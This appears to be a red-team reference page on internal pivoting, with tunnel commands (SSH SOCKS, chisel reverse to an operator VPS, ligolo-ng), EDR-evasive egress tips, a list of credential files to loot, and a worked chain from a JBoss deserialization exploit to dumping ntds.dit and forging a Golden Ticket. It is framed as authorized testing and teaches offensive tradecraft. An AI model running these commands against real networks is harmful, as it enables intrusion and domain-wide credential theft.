New The 2026 Continuous Validation Methodology Paper is now available. Read the paper →

Internal Pivoting & Lateral Movement.

Tunnel topologies, port-forwarding patterns, the handoff from web compromise to internal foothold, and a worked JBoss-to-domain case.

Tunnel topologies — pick the right one

  • SOCKS over SSH. ssh -D 1080 user@foothold + proxychains. Default choice when the foothold has SSH and the network allows outbound 22 to your VPS. Latency is fine, throughput is fine, single TCP session.
  • chisel. When SSH isn't reachable: chisel server -p 8080 --reverse on your VPS, chisel client VPS:8080 R:1080:socks on the foothold. HTTP/WebSocket transport survives most egress filtering.
  • ligolo-ng. Best for double-pivot and TCP/UDP both. Creates a TUN interface on the operator side — you talk to 10.x.x.x as if you were on that segment, no proxychains needed.
  • Reverse port forward through SSH. ssh -R 8443:internal-target:443 user@foothold when you need a single TCP service exposed back to your side. Smaller blast radius than a full SOCKS pivot.

Keeping a shell alive on a flaky link

  • TCP keepalives. ssh -o ServerAliveInterval=60 -o ServerAliveCountMax=3. Detects dead links in ~3 minutes instead of waiting for the kernel.
  • tmux on the foothold. Reattach after disconnect: tmux new -s op first session, tmux attach -t op after reconnect. Same applies inside Meterpreter via screen.
  • mosh as a fallback. UDP-based; survives IP changes (notebook on flaky Wi-Fi → tethered → back). UDP often blocked egress, so plan for it not always working.
  • autossh for unattended links. autossh -M 0 -f -N -R 8443:internal:443 user@foothold with keepalives — reconnects within seconds of link recovery.

Web → internal handoff

  1. Confirm the web-app can reach internal. Try http://internal-host from within the web context. If yes → SSRF-style pivoting without needing shell.
  2. Get a foothold shell. Webshell, deserialization payload, RCE chain. Prefer in-memory over disk; prefer over named-pipe over socket if EDR is present.
  3. Establish persistent egress. chisel reverse-mode over 443 (looks like HTTPS), or DNS-over-HTTPS for the strictest egress filtering.
  4. Switch to pivot tunnel immediately. Drop the webshell as primary; switch to the tunnel for further work. Webshells are noisy; tunnels are quiet.
  5. Loot the foothold once. /etc/passwd, ~/.ssh/, ~/.aws/, ~/.kube/, environment variables, recent shell history, cron, systemd timers, .bash_history. Then move.

Worked chain — JBoss to DA

  1. Foothold. JBoss JMX-Console deserialization (ysoserial CommonsCollections5) → shell as jboss on app01.
  2. Local loot. /opt/jboss/standalone/configuration/ has DB creds in plaintext XML. /etc/sssd/ reveals domain join.
  3. SMB enumeration. impacket-smbclient with sssd-cached creds → readable share on fileserver01 contains a PowerShell script.
  4. Credential in the script. Hardcoded $cred = New-Object PSCredential("svc_backup", $pw). svc_backup is in Backup Operators.
  5. Backup Operators → DC. Backup Operators can read ntds.dit via shadow copy. vssadmin create shadow on DC via WinRM, copy, secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL.
  6. Krbtgt hash → Golden Ticket. Domain compromise complete. Pause and notify white cell.
Rule of thumbTwo tunnel layers maximum unless you really need three. Each layer roughly doubles latency and triples the surface for an operator mistake. If you're chaining four hops, stop and find a better foothold first.

From reference to evidence

Run this against your own environment.